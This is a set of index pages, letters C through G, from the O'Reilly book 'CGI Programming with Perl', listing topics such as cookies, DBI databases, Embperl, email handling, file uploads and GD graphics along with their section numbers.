JavaScript bookmarklets: 7.4.1.1. Compatibility
JavaScript problems with: 7.1.2. Compatibility
compilation, combining with execution in perl: 1.3.1. Why Perl?
complete (non-parsed) headers: 3.3.2. Complete (Non-Parsed) Headers
components, Mason module: 6.5. Mason
compression
encoding: 2.6.3. Encoding
GIF image files: 13.1.1. GIF
image file formats: 3.4.1. Check the Client Browser
lossy, use in JPEG: 13.1.3. JPEG
PNG images: 13.1.2. PNG
CompuServe, creation of GIF image file format: 13.1.1. GIF
conditionals, creating in HTML::Template: 6.3.1.2. Conditionals
conditions, specifying for .procmailrc file: 9.7.1. Autoreply from nobody
config command (SSI): 6.2.2. Format
6.2.4. Tailoring SSI Output
configuration
Apache with mod_perl: 17.3.1. Installation and Configuration
Apache::Registry: 17.3.1. Installation and Configuration
CGI scripts, by web servers: 1.2.2. Invoking CGI Scripts
Embperl module: 6.4.1. Configuration
separation from primary code: 16.1.4. Separate Configuration from Your Primary Code
servers, parsing SSI: 6.2.1. Configuration
web servers, for CGI and Perl: 1.4. Web Server Configuration
confirmation to user, sent email: 9.4.1. Command-Line Options
connections
to DBI databases: 10.4.1.1. Connecting to DBI
server to browser
closing: 11. Maintaining State
staying open across multiple requests: 11. Maintaining State
sockets listening for: 14.1.1. Sockets
constant module: 17.3.2. mod_perl Considerations
Content-base field: 2.4.2.1. Content-Base
content (HTTP messages): 2.2.1. The Request and Response Cycle
separating from header with blank line: 2.2.2. HTTP Headers
Content-length headers: 2.3.2.2. Content-Length
2.4.2.2. Content-Length
POST requests and: 3.1.1.1. STDIN
content negotiation: 2.6. Content Negotiation
encoding: 2.6.3. Encoding
internationalization: 2.6.2. Internationalization
media type: 2.6.1. Media Type
2.6.1. Media Type
(see also media types)
Content-type headers: 2.4.2.3. Content-Type
3.3.1.1. Outputting documents
CGI scripts, returning: 3.3.1. Partial Headers
complete headers, including in: 3.3.2. Complete (Non-Parsed) Headers
error status codes, returning with: 3.3.1.3. Specifying status codes
header method, returning with: 5.3.1.1. Media type
malformed: 15.1.4. "Malformed" Header
media types, specifying in: 2.6.1. Media Type
content types
Accept method, evaluation of: 5.2.1.1. Accept
files, Mason module and: 6.5.1. A Component Approach
image/jpeg: 13.5.4. Image Processing
control structures (Perl), enclosing bracket pairs (Embperl): 6.4.2.1. Embperl code blocks
converting PNGs to GIFs or JPEGs: 13.5.2. Converting PNGs to GIFs or JPEGs
Cookie header: 2.3.2.8. Cookies
11.3.1. Setting Cookies
11.3.1. Setting Cookies
cookies
HTTP_COOKIE environment variable: 3.2.2. Examining Environment Variables
maintaining state with: 11.3. Client-Side Cookies
setting cookies: 11.3.1. Setting Cookies
testing for: 11.3.2. Testing for Cookies
restrictions on: 11.3. Client-Side Cookies
Set-cookie field: 2.4.2.9. Set-Cookie
storing unique identifiers in: 11. Maintaining State
cookie_test.cgi scrip (example): 11.3.2. Testing for Cookies
coordinates, changing for titles of GD images: 13.4.1.1. GD::Text::Align
copyright notice, displaying with image: 3.4.3. Restricting Image Hijacking
counters, access: 6.2.6. Executing CGI Programs
CPAN (Comprehensive Perl Archive Network): B.1. CPAN
HTML::Template information: 6.3.2. Summary
installing modules from: B.1.1. Installing Modules
open source modules for Perl: 1.3.1. Why Perl?
URI::URL module: 2.1.3. URL Encoding
create table command: 10.3.1. Creating a Database
10.4.2.1. Address book database creation script
creating databases: 10.3.1. Creating a Database
accessing and inserting data: 10.3.2. Inserting Data
CRLF (carriage return and line feed): 1.3.2. Alternatives to CGI
(see also end-of-line characters; newlines)
operating systems and HTTP header requirements: 3.3.1.1. Outputting documents
CSV (comma separated values): 10.1.4. Delimiters
10.1.5. DBD::CSV
10.1.5. DBD::CSV
10.4.1. Using DBI
current_time.cgi script (example): 6.3.1. Syntax
current_time.tmpl (HTML template): 6.3.1. Syntax
customizing SSI output: 6.2.4. Tailoring SSI Output
CVS and RCS, revision control systems: 16.1.1. Plan for Future Growth

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: D

$db, using: 10.2.1. DB_File
daemon, turning Perl CGI application into: 17. Efficiency and Optimization
dash (-) or period (.), starting filenames with: 5.2.4. File Uploads with CGI.pm
5.2.4. File Uploads with CGI.pm
data collection, forms: 4. Forms and CGI
data exchange, performing with JavaScript: 7.3. Data Exchange
online music browser (example): 7.3.2. Example
WDDX: 7.3.1. WDDX
data modification result screens (various): 10.4.2.2. Address book CGI script
data storage, security issues: 8.5. Data Storage
dynamic filenames: 8.5.1. Dynamic Filenames
file permissions: 8.5.3. File Permissions
location of files: 8.5.2. Location of Files
data types: 7.3.1. WDDX
(see also arrays; hashes; scalars)
characters, padding fields for: 10.3.1. Creating a Database
data structures, printing with Data::Dumper module: 15.3.4. Dumping Variables
Perl vs. WDDX: 7.3.1. WDDX
strict variables, Perl language and: 1.3.1. Why Perl?
WDDX, summary of: 7.3.1. WDDX
databases
consolidating with CGI middleware: 14. Middleware and XML
creating: 10.3.1. Creating a Database
accessing data: 10.3.3. Accessing Data
inserting data: 10.3.2. Inserting Data
DBI
connecting to: 10.4.1.1. Connecting to DBI
manipulation of: 10.4.1.2. Database manipulation
querying: 10.4.1.3. Database querying
deleting data from: 10.3.5. Deleting Data
files, untying from hash tables: 10.2.1. DB_File
handles to: 10.4.2.2. Address book CGI script
perl, linking with: 10.4. DBI
updating: 10.3.4. Updating Data
Data::Dumper module: 10.2.2. MLDBM
15.3.4. Dumping Variables
Date field: 2.4.2.4. Date
DATE_GMT variable: 6.2.3. Environment Variables
6.2.3. Environment Variables
DATE_LOCAL variable: 6.2.3. Environment Variables
6.2.3. Environment Variables
dates and times
current, template file: 6.3.1. Syntax
customizing display with SSI config command: 6.2.4. Tailoring SSI Output
formatting with SSI: 6.2.4. Tailoring SSI Output
last date modified, displaying with SSI: 6.2. Server Side Includes
last modification of requested resource: 2.4.2.6. Last-Modified
DB_CACHE constant: 12.3. Inverted Index Search
DBD::CSV module: 10.1.5. DBD::CSV
DBI driver, using: 10.4.1. Using DBI
text files, storing data in: 16.1.6. Separating Storage from Your Primary Code
DBD::Oracle driver: 16.1.6. Separating Storage from Your Primary Code
DB_File module: 10.2. DBM Files
10.2.1. DB_File
DESTROY method: 10.2.1. DB_File
index, creating and storing with: 12.3. Inverted Index Search
using with MLDBM to lock DBM file: 10.2.2. MLDBM
DBI (Database Independent Interface): 10.4. DBI
address book, creating: 10.4.2. DBI Address Book
address table: 10.4.2.1. Address book database creation script
address table, creating: 10.4.2.1. Address book database creation script
CGI script for querying and modifying data: 10.4.2.2. Address book CGI script
database, connecting to: 10.4.1.1. Connecting to DBI
database manipulation: 10.4.1.2. Database manipulation
using: 10.4.1. Using DBI
DBI module: 16.1.6. Separating Storage from Your Primary Code
DBI::CSV module: 10.1.5. DBD::CSV
DBM files: 10. Data Persistence
10.2. DBM Files
locking, using MLDBM with DB_File: 10.2.2. MLDBM
MLDBM module, saving and retrieving as Perl with: 10.2.2. MLDBM
debugging
CGI programs: 15. Debugging CGI Applications
-debug pragma, use with CGI.pm: 15.3.3. Running Scripts from the Command Line
commands, summary of: 15.3.5.1. The Perl debugger
common errors: 15.1. Common Errors
debugging tools: 15.3. Debugging Tools
Perl coding techniques for error avoidance: 15.2. Perl Coding Techniques
echoing errors to browser, use of: 14.5. CGI Gateway to XML Middleware
errors in CGI scripts with STDERR output: 3.1.1.3. STDERR
declarations
global variables: 10.4.2.2. Address book CGI script
variables, using strict mode: 15.2.1. Use strict
decoding HTML form input: 4.3. Decoding Form Input
decoding tab-delimited data and end-of-line characters: 10.1.4. Delimiters
default installation paths (Apache web server): 1.4. Web Server Configuration
DELETE method: 2.3.1.1. PUT and DELETE
delete query screen: 10.4.2.2. Address book CGI script
deleting from databases: 10.3.5. Deleting Data
deleting parameters: 5.2.2.1. Modifying parameters
delimiters
ampersand ( & ), key-value pairs: 4.1. Sending Data to the Server
CSV text files: 10.4.1. Using DBI
qq// operator, use with: 5.4.2. Here Documents
text files, use in: 10.1.4. Delimiters
tabs: 10.1.4. Delimiters
Devel-ptkdb, PerlTk debugger: 15.3.5.2. ptkdb
development, CGI programs
architectural guidelines: 16.1. Architectural Guidelines
configuration, separating from primary code: 16.1.4. Separate Configuration from Your Primary Code
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code
growth, planning for: 16.1.1. Plan for Future Growth
relative URLs, using: 16.1.3. Use Relative URLs
scripts, number per application: 16.1.7. Number of Scripts per Application
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code
submit buttons, controlling flow with: 16.1.8. Using Submit Buttons to Control Flow
coding guidelines: 16.2. Coding Guidelines
development web server, sharing by developers: 16.1.1. Plan for Future Growth
Devel::SawAmpersand module: 17.1.10. Regular Expressions
die function: 5.5.2. CGI::Carp
calls, catching and sending to browser: 6.4.5.1. Embperl handler
trapping: 5.5.1.1. Trapping die
triggering 500 Internal Server Error: 15.2.4. Trap die
Digest::MD5 module: 8.3.1. MD5
digests, generating to validate input data: 8.3. Encryption
Digest::SHA1 module: 8.3.2. SHA-1
directories
CGI scripts, current working directory: 3.1. The CGI Environment
enabling SSI for: 6.2.1. Configuration
execute permissions (CGI), turning off: 1.4.1.2. Configuring by extension
files, listing with glob notation: 17.1.8. Avoid the Shell
fonts, specifying with FONTS_DIR constant: 13.5.4. Image Processing
GD/Graph directory: 13.4.3. GD::Graph3D
opendir function: 12.2. Searching One by One, Take Two
organizing projects with: 16.1.2. Use Directories to Organize Your Projects
site_perl directory, saving error module in: 5.5.4. Custom Module
size, calculating with dir_size subroutine: 5.2.4. File Uploads with CGI.pm
upload directory, setting MAX_DIR_SIZE: 5.2.4. File Uploads with CGI.pm
URL paths for CGI scripts, mapping to: 2.1.1. Elements of a URL
world access to: 15.1.1. Application Permissions
write permission, Unix systems: 10.1.2. Write Permissions
directory and file structure
Apache server: 1.4. Web Server Configuration
CGI scripts, configuring by file name extensions: 1.4.1.2. Configuring by extension
creating directory for CGI scripts: 1.4.1. Configuring CGI Scripts
directory tree on web server, separate for web developers: 16.1.1. Plan for Future Growth
DirectoryIndex directive, adding to httpd.conf: 6.2.1. Configuration
disabling caching with header method (-expires argument): 5.3.1.3. Caching
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code
do method on database handle, creating table with: 10.4.2.1. Address book database creation script
Document Object Model (DOM): 7.1.1. History
document root (servers), separating from CGI script directory: 1.4.1.1. Configuring by directory
document type definitions (see DTDs)
documentation
code, standards for: 16.2. Coding Guidelines
Perl viewer for: B.2. perldoc
DOCUMENT_NAME variable: 6.2.3. Environment Variables
documents
CGI scripts, outputting: 3.3.1.1. Outputting documents
HTML
expiration time, setting: 5.3.1.3. Caching
starting and ending: 5.3.2. Starting and Ending Documents
media types
declaring in HTTP headers: 1.2.1. Sample CGI
listing in web server response header: 1.2. Introduction to CGI
DOCUMENT_URI variable: 6.2.3. Environment Variables
domain names
multiple, mapped to one IP address: 2.3.2.1. Host
remote machine, obtaining from environment variables: 1.2.1. Sample CGI
in URLs: 2.1.1. Elements of a URL
double quotes: 1.2.1. Sample CGI
(see also quotes; single quotes)
enclosing "here" documents in: 1.2.1. Sample CGI
escaping with backslash (\\\\) in HTML: 5.4.1. Lots of print Statements
strings, @ character in: 13.5.4. Image Processing
drawing primitives (gd): 13.3.2. Using GD
drivers, databases: 10.4. DBI
DBD::CSV DBI driver, using: 10.4.1. Using DBI
DBD::CSV, loading: 10.4.1.1. Connecting to DBI
DBD::Oracle: 16.1.6. Separating Storage from Your Primary Code
drop-down menus: 4.2.4. The <SELECT> Tag
drop shadow
adding to text banner: 13.5.4. Image Processing
moving horizontally and vertically: 13.5.4. Image Processing
DTDs (document type definitions): 14.3. Document Type Definition
defining for data validation: 14.2. An Introduction to XML
optional nature of: 14.3. Document Type Definition
web page information on: 14.5. CGI Gateway to XML Middleware
dumping variables to browser for checking: 15.3.4. Dumping Variables
dynamic content, problems with caching: 2.5.2. Caching
dynamic filenames, security risks: 8.5.1. Dynamic Filenames
dynamic images
generating: 13. Creating Graphics on the Fly
dynamic images in HTML: 13.2.2. Including Dynamic Images in HTML
dynamic information, HTML documents
access counters: 6.2.6. Executing CGI Programs
creating with SSI: 6.2. Server Side Includes
dynamic resources, CGI support of: 1.1.1. How CGI Is Used Today
dynamic text banners, embedding in static HTML documents: 13.5.4. Image Processing

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: E

$element, start element name (XML): 14.5. CGI Gateway to XML Middleware
$expat, reference to XML::Parser object: 14.5. CGI Gateway to XML Middleware
e-commerce: 1.1.1. How CGI Is Used Today
echo command: 6.2.2. Format
6.2.3. Environment Variables
ECMAScript, standardizing JScript/JavaScript language: 7.1.1. History
efficiency and optimization, CGI programs: 17. Efficiency and Optimization
FastCGI, using: 17.2. FastCGI
mod_perl, using: 17.3. mod_perl
Perl techniques for: 17.1. Basic Perl Tips, Top Ten
Electronic Frontier Foundation, web site search: 14.4. Writing an XML Parser
element.focus(): 7.2.1.1. Validating elements
elements
HTML
generating with CGI.pm methods: 5.3. Generating Output with CGI.pm
5.3.3. Standard HTML Elements
HTML forms
Embperl, creating automatically: 6.4.3.3. Form input elements
generating with CGI.pm methods: 5.3.4. Form Elements
name/value associations: 4.1. Sending Data to the Server
validating with JavaScript: 7.2.1.1. Validating elements
7.2.1.3. Validation example
quoted, in email addresses: 9.2.1. Validating Syntax
XML
attributes, defining: 14.3. Document Type Definition
character data, containing: 14.3. Document Type Definition
tags: 14.3. Document Type Definition
else command: 6.2.2. Format
email: 9. Sending Email
addresses: 9.2. Email Addresses
overriding senders: 9.4.1. Command-Line Options
validating (code example): 9.2.1. Validating Syntax
validating syntax: 9.2.1. Validating Syntax
mailx and mail programs: 9.5. mailx and mail
Perl mailers: 9.6. Perl Mailers
Net::SMTP module, sending directly through SMTP: 9.6. Perl Mailers
procmail program: 9.7. procmail
security: 9.1. Security
false identities: 9.1.2. False Identities
mailers and shells: 9.1.1. Mailers and Shells
similarity to HTTP message format: 2.2.2. HTTP Headers
spamjunk email (see spam)
structure of Internet email: 9.3. Structure of Internet Email
email services, interprocess communication and: 14.1. Communicating with Other Servers
Embperl module: 6.4. Embperl
bracket pairs for blocks of code: 6.4.2.1. Embperl code blocks
configuration: 6.4.1. Configuration
embpcgi.pl CGI script: 6.4.1.3. embpcgi.pl
escaping HTML generated by Perl blocks: 6.4.5.1. Embperl handler
global variables, defining for HTML templates: 6.4.4. Global Variables
Mason module component approach vs.: 6.5.1. A Component Approach
meta-commands: 6.4.2.3. Meta-commands
news, current headlines and articles (example): 6.4.5. Example
tables, automatic contstruction of: 6.4.3. HTML Logic
website: 6.4.6. Summary
EMPTY keyword, XML element definitions: 14.3. Document Type Definition
empty lists: 15.2.1. Use strict
enclosing final attribute, SSI: 6.2.7. Common Errors
encoding
Authorization field characters: 2.3.2.4. Authorization
content negotiation and: 2.6. Content Negotiation
content negotiaton, support for: 2.6.3. Encoding
forms
application/x-www-form-urlencoded: 4.1. Sending Data to the Server
multipart/form-data: 4.1. Sending Data to the Server
space, separating query string arguments: 2.1.1. Elements of a URL
specifying media type for HTTP request: 4.2.2. The <FORM> Tag
tab-delimited data and end-of-line characters: 10.1.4. Delimiters
URLs: 2.1.3. URL Encoding
4.3. Decoding Form Input
encryption: 8.3. Encryption
ENCTYPE attribute: 4.2.2. The <FORM> Tag
__END__ and __DATA__: 17.3.2. mod_perl Considerations
END blocks
mod_perl, treatment of: 17.3.2. mod_perl Considerations
removing temporary filenames: 10.1.3.2. Named temporary files
end-of-file character, operating systems: 15.3.3. Running Scripts from the Command Line
end-of-line characters: 5.2.4. File Uploads with CGI.pm
(see also \\\\n; newlines)
binmode function and: 13.2.1.1. binmode
encoding/decoding, functions for: 10.1.4. Delimiters
tab file delimiters and: 10.1.4. Delimiters
translating to \\\\n: 5.2.4. File Uploads with CGI.pm
end_html method (CGI.pm): 5.3.2.2. end_html
endif command: 6.2.2. Format
ending bracket pair: 6.4.2.1. Embperl code blocks
ending HTML documents: 5.3.2. Starting and Ending Documents
entity tags: 2.4.2.5. ETag
environment, CGI: 3. The Common Gateway Interface
environment variables: 1.2. Introduction to CGI
CGI, CGI.pm environment methods and: 5.2.1. Environment Information
CGI scripts: 3.2. Environment Variables
examples of: 1.2.1. Sample CGI
%ENV hash: 3. The Common Gateway Interface
3.2. Environment Variables
%env_info hash, naming and describing with: 3.2.2. Examining Environment Variables
generating with env_tmpl.cgi script: 6.3.1.1. Loops
HTTP_prefix, http method and: 5.2.1.2. http
HTTPS_, returning with https method: 5.2.1.3. https
inserting into HTML documents with SSI commands: 6.2.3. Environment Variables
less common CGI environment variables: 3.2.1. CGI Environment Variables
secure servers, adding for secure connections: 3.2.1. CGI Environment Variables
self_url method and: 5.2.1.5. self_url
SERVER_PROTOCOL: 3.3.2. Complete (Non-Parsed) Headers
servers, listing for: 3.2.2. Examining Environment Variables
setting manually before running scripts: 15.3.3. Running Scripts from the Command Line
SSI pages, available to: 6.2.3. Environment Variables
standard CGI environment variables: 3.2.1. CGI Environment Variables
tainted data, checking for: 8.4.1. How Taint Works
web server administrators, adding to configuration files: 3.2.1. CGI Environment Variables
env.tmpl (HTML template): 6.3.1.1. Loops
env_tmpl.cgi script: 6.3.1.1. Loops
equal sign (=)
name/value pair separator: 2.1.1. Elements of a URL
15.3.3. Running Scripts from the Command Line
parameters, passing without: 4.3. Decoding Form Input
error messages
cgi_error method, returning: 5.2.4. File Uploads with CGI.pm
errors
500 Internal Server Error: 3.3. CGI Output
3.3.1.3. Specifying status codes
400-level status code responses and: 3.3.1.3. Specifying status codes
CGI programs: 15.1. Common Errors
application permissions: 15.1.1. Application Permissions
Perl coding techniques for avoiding: 15.2. Perl Coding Techniques
pound-bang (#!) line: 15.1.2. The Pound-Bang
common, Server Side Includes: 6.2.7. Common Errors
error messages
CGI.pm objects: 5.2.4. File Uploads with CGI.pm
customizing: 6.2.4. Tailoring SSI Output
redirecting to browser: 6.4.5.1. Embperl handler
14.5. CGI Gateway to XML Middleware
15.2.4. Trap die
status codes and: 3.3.1.3. Specifying status codes
handling: 5.5. Handling Errors
CGI::Carp module: 5.5.2. CGI::Carp
die function: 5.5.1. Dying Gracefully
error subroutine, exporting: 5.5.4. Custom Module
subroutines: 5.5.3. Error Subroutines
output to STDERR, handling by servers: 3.1.1.3. STDERR
Perl and CGI scripts, preventing with strict module: 15.2.1. Use strict
server error logs, checking: 15.3.2. Check Error Logs
server status codes for: 2.4.1. The Status Line
SQL submission: 10.4.2.1. Address book database creation script
static HTML document for general errors: 3.4.1. Check the Client Browser
system commands, checking status for: 15.2.2. Check Status of System Calls
transfer errors in file uploads: 5.2.4. File Uploads with CGI.pm
XML::Parser module and: 14.5. CGI Gateway to XML Middleware
escape characters, functions for encoding in text files: 10.1.4. Delimiters
escaping
@ prefix with backslash (\\\\) character: 13.5.4. Image Processing
~! (tilde escapes), mailx and mail programs: 9.5. mailx and mail
backslash (\\\\), using: 10.1.4. Delimiters
characters with quotemeta function: 12.2. Searching One by One, Take Two
double quotes with backslash (\\\\): 5.4.1. Lots of print Statements
HTML generated by Perl blocks (Embperl): 6.4.5.1. Embperl handler
url_escape and url_unescape functions: 2.1.3. URL Encoding
ETag (entity tag) field: 2.4.2.5. ETag
eval function, evaluating user-specified regex: 12.2.1. Regex-Based Search Engine
event-based parsers: 14.5. CGI Gateway to XML Middleware
exclusive file locks: 10.1.1.1. flock
exec command: 8.2.4. fork and exec
mail program, using with: 9.5. mailx and mail
SSI: 6.2.1. Configuration
6.2.2. Format
exec cgi directive: 6.2.6. Executing CGI Programs
system: 15.1.2. The Pound-Bang
ExecCGI option, disabling: 1.4.1.2. Configuring by extension
executable files, CGI scripts as: 1.2.2. Invoking CGI Scripts
execute bit: 10.1.2. Write Permissions
execute command, starting SQL query with: 10.4.1.3. Database querying
execution
CGI programs
creating separate processes for: 1.3.2. Alternatives to CGI
disallowing while enabling exec command: 6.2.1. Configuration
file locking and: 10.1.1.1. flock
permissions, turning off for directories: 1.4.1.2. Configuring by extension
world access bit, setting for: 15.1.1. Application Permissions
combining with compilation in perl: 1.3.1. Why Perl?
external applications: 6.2.1. Configuration
HTML::Embperl module, Execute function: 6.4.1.1. Execute
Perl CGI programs, delays caused by interpreter: 17. Efficiency and Optimization
existing solutions to problems, finding: 17.1.9. Find Existing Solutions for Your Problems
exit command, use with mod_perl: 17.3.2. mod_perl Considerations
expiration time, setting for HTML documents: 5.3.1.3. Caching
Expires headers: 13.2.1. An Example
Exporter module, exporting error subroutine with: 5.5.4. Custom Module
exporting functions: 5.1.3. Standard and Object-Oriented Syntax
expressions: 8.4.1. How Taint Works
(see also regular expressions)
simple, bracket pairs enclosing (Embperl): 6.4.2.1. Embperl code blocks
tainted values in: 8.4.1. How Taint Works
extensions, HTTP request headers: 2.3.2.8. Cookies
external applications
calling: 8.2.1. Calling External Applications
pipes, opening to: 8.2.1. Calling External Applications
executing and including output in HTML documents: 6.2.1. Configuration

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: F

false identities, email senders: 9.1.2. False Identities
FastCGI: 1.3.2. Alternatives to CGI
17.2. FastCGI
installing: 17.2.1. Installing FastCGI
strict pragma, required use of: 1.2.1. Sample CGI
fatal error messages
displaying in browser: 5.5.2. CGI::Carp
trapping fatal calls: 15.2.4. Trap die
fatalsToBrowser option: 14.5. CGI Gateway to XML Middleware
Fcntl module: 10.1.1.1. flock
access flags: 10.2.1. DB_File
fgrep command: 12.1. Searching One by One
passing through a shell: 12.1. Searching One by One
fields
arrays of, rows returned as: 10.4.1.3. Database querying
forms, resetting to default values: 4.2.3.7. Reset buttons
headers
HTTP: 2.2.2. HTTP Headers
2.3.2. Request Header Field Lines
Internet email messages: 9.3. Structure of Internet Email
hidden, HTML forms (see hidden fields)
names and descriptions in database: 10.4.2.2. Address book CGI script
validation functions, JavaScript: 7.2.1.3. Validation example
figlet application: 8.2.1. Calling External Applications
figlet_INSECURE2.cgi script (example): 8.2.3. Security Strategies
file formats, images: 13.1. File Formats
GIF: 13.1.1. GIF
Image::Magick module, working with: 13.5.1.2. Enabling LZW compression
JPEG: 13.1.3. JPEG
PDF: 13.1.4. PDF
PNG: 13.1.1.1. The LZW patent
file handles
anonymous temporary files: 10.1.3.1. Anonymous temporary files
$DBH (database handle): 10.4.2.2. Address book CGI script
file locks, using with: 10.1.1.1. flock
obtaining to uploaded files: 5.2.4. File Uploads with CGI.pm
predefined for Perl scripts: 3.1.1. File Handles
$socket instance variable, use as: 14.1.2. IO::Socket
status, checking: 15.2.3. Is It Open?
temporary files, reading and writing to: 10.1.3.1. Anonymous temporary files
file name extensions, configuring CGI scripts by: 1.4.1.2. Configuring by extension
File Upload element
JavaScript onChange handler, supporting: 7.2.1.1. Validating elements
File::Basename module: 12.3.1. Search Application
extracting filenames with: 12.3. Inverted Index Search
File::Find module: 12.3. Inverted Index Search
filenames
capitalization of, standardizing: 16.2. Coding Guidelines
dynamic, security risks: 8.5.1. Dynamic Filenames
untainting: 6.4.5.1. Embperl handler
files
age functions with mod_perl: 17.3.2. mod_perl Considerations
as boilerplates: 6.2.5. Including Boilerplates
colon-separated list of file ids for index words: 12.3.1. Search Application
data storage
dynamic filenames, security risks: 8.5.1. Dynamic Filenames
file permissions: 8.5.3. File Permissions
DBM (see DBM files)
.epl files, Embperl: 6.4.5.1. Embperl handler
glob notation, listing with: 17.1.8. Avoid the Shell
included in HTML documents: 6.2.5. Including Boilerplates
including content of other files in template: 6.3.1.3. Including other files
language code extensions: 2.6.2. Internationalization
listing in directory: 12.2. Searching One by One, Take Two
locking: 6.4.5.1. Embperl handler
10.1.1. Locking
15.2.5. File Locking
flock command, using: 10.1.1.1. flock
hash files: 10.2.1. DB_File
manual locks, creating: 10.1.1.2. Manual lock files
Mason module, not distinguishing among content types: 6.5.1. A Component Approach
modification time
ordering matching file ids by: 12.3.1. Search Application
permissions, changing with chmod command: 15.1.1. Application Permissions
.pm extension (Perl modules): 5.5.4. Custom Module
size information, customizing with SSI: 6.2.4. Tailoring SSI Output
slurping (reading in) entire file: 17.1.4. Avoid Slurping
specifying for search, fgrep commandprotocols
HTTP (see HTTP)
specifying to be indexed: 12.3. Inverted Index Search
temporary
anonymous and named: 10.1.3.1. Anonymous temporary files
getting names of: 5.2.4. File Uploads with CGI.pm
uploading with CGI.pm: 5.2.4. File Uploads with CGI.pm
content, accessing: 5.2.4. File Uploads with CGI.pm
disabling in CGI.pm: 5.1.1. Denial of Service Attacks
MAX_FILE_SIZE: 5.2.4. File Uploads with CGI.pm
MAX_OPEN_TRIES, limiting: 5.2.4. File Uploads with CGI.pm
transfer errors in: 5.2.4. File Uploads with CGI.pm
write permissions: 10.1.2. Write Permissions
filtering application for email processing (procmail): 9.7. procmail
filters and autohandlers modifying component output (Mason module): 6.5.1. A Component Approach
find function: 12.3. Inverted Index Search
firewalls, proxies and: 2.5.1. Identifying Clients
flags
access, Fcntl module: 10.2.1. DB_File
coding style guide, covering in: 16.2. Coding Guidelines
taint and warning: 1.2.1. Sample CGI
flastmod command: 6.2.2. Format
floating point numbers, media type quality factors: 2.6.1. Media Type
flock command: 10.1.1.1. flock
flow, controlling with submit buttons: 16.1.8. Using Submit Buttons to Control Flow
flushing standard output stream buffers after each write: 15.2.6. Unbuffer Output Stream
focus
JavaScript handler (onFocus): 4.2.3.1. Text fields
moving cursor back to a field: 7.2.1.1. Validating elements
fonts
testing for name in FONTS_DIR directory, using -e operator: 13.5.4. Image Processing
TrueType font file format: 13.5.4. Image Processing
forbidding client access to requested resources: 3.3.1.3. Specifying status codes
forcing caching with -expires argument (header method): 5.3.1.3. Caching
fork: 8.2.4. fork and exec
mail parogram, using with: 9.5. mailx and mail
formail helper application for procmail: 9.7.1. Autoreply from nobody
formatting date and time: 2.4.2.4. Date
6.2.4. Tailoring SSI Output
formatting, HTML::Template commands: 6.3.1. Syntax
formLib.js file (JavaScript): 7.2.1.3. Validation example
forms: 4.3. Decoding Form Input
CGI and: 4. Forms and CGI
sending data to server: 4.1. Sending Data to the Server
decoding input: 4.3. Decoding Form Input
elements, generating with CGI.pm methods: 5.3.4. Form Elements
example, Mailing List: 4.1. Sending Data to the Server
figlet applcation (example): 8.2.1. Calling External Applications
file uploads
code for receiving via: 5.2.4. File Uploads with CGI.pm
hidden fields: 8.2.5. Trusting the Browser
(see also hidden fields)
changing in: 8.2.5. Trusting the Browser
session information, storing in: 11.2. Hidden Fields
input elements, automatic creation by Embperl: 6.4.3.3. Form input elements
input validation with JavaScript: 7.2.1. Input Validation
interactive, using JavaScript and HTML: 7.3.2. Example
multipart/form data, POST requests: 2.3.2.3. Content-Type
parameters
capturing to offline file: 15.3.3. Running Scripts from the Command Line
CGI.pm module, prompting for: 15.3.3. Running Scripts from the Command Line
state, mainintaining between multiple invocations: 11.2. Hidden Fields
tags: 4.2. Form Tags
summary listing of: 4.2.1. Quick Reference to Form Tags
tag: 4.2.3. The <INPUT> Tag
4.2.4. The <SELECT> Tag
4.2.5. The <TEXTAREA> Tag
uploaded filenames, adding as text field: 5.2.4. File Uploads with CGI.pm
user search request: 12.1. Searching One by One
validation (see validation)
whats_related.html form: 14.5. CGI Gateway to XML Middleware
forward slashes (/) separating directories: 12.3.1. Search Application
forwarding email messages: 9.7. procmail
9.7.2. Forwarding to Another User
fragment identifiers: 2.1.1. Elements of a URL
FreeType library: 13.5.4. Image Processing
FreezeThaw module: 10.2.2. MLDBM
From field, email messages: 9.3. Structure of Internet Email
fsize command: 6.2.2. Format
6.2.4. Tailoring SSI Output
full paths vs. relative paths (relative URLs): 2.1.2. Absolute and Relative URLs
full virtual paths, request lines: 2.3. Browser Requests
fully qualified variable names, use of: 15.2.1. Use strict
functions
administrative, News module: 6.4.5.1. Embperl handler
CGI.pm, exporting standard: 5.1.3. Standard and Object-Oriented Syntax
exec system command: 15.1.2. The Pound-Bang
hiding with SelfLoader module: 17.1.6. SelfLoader
JavaScript
form validation: 7.2.1. Input Validation
interpreting WDDX objects, loading: 7.3.2. Example
maintaining user state: 11.2. Hidden Fields
methods vs. in Perl: 5.1.3. Standard and Object-Oriented Syntax
packages, separation into: 5.1.3. Standard and Object-Oriented Syntax
tie function: 10.2.1. DB_File
utility, shopping cart example: 11.2. Hidden Fields

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G (CGI Programming with Perl)

CGI Programming with PerlSearch this book

Index: G

gateway time out status code: 3.3.1.3. Specifying status codes
gcc compiler, obtaining: B.1.1. Installing Modules
GD modules: 13.3. Generating PNGs with GD
gd library, downloading: 13.3.2. Using GD
GD::Graph modules: 13.4.2. GD::Graph
13.4.2. GD::Graph
GD::Image class: 13.3.2. Using GD
GD::Polygon class: 13.3.2. Using GD
GD::Text: 13.4.1. GD::Text
GD::Text::Align: 13.4.1. GD::Text
13.4.1.1. GD::Text::Align
GD::Text::Wrap: 13.4.1. GD::Text
Graph modules
GD::Graph3D: 13.4.3. GD::Graph3D
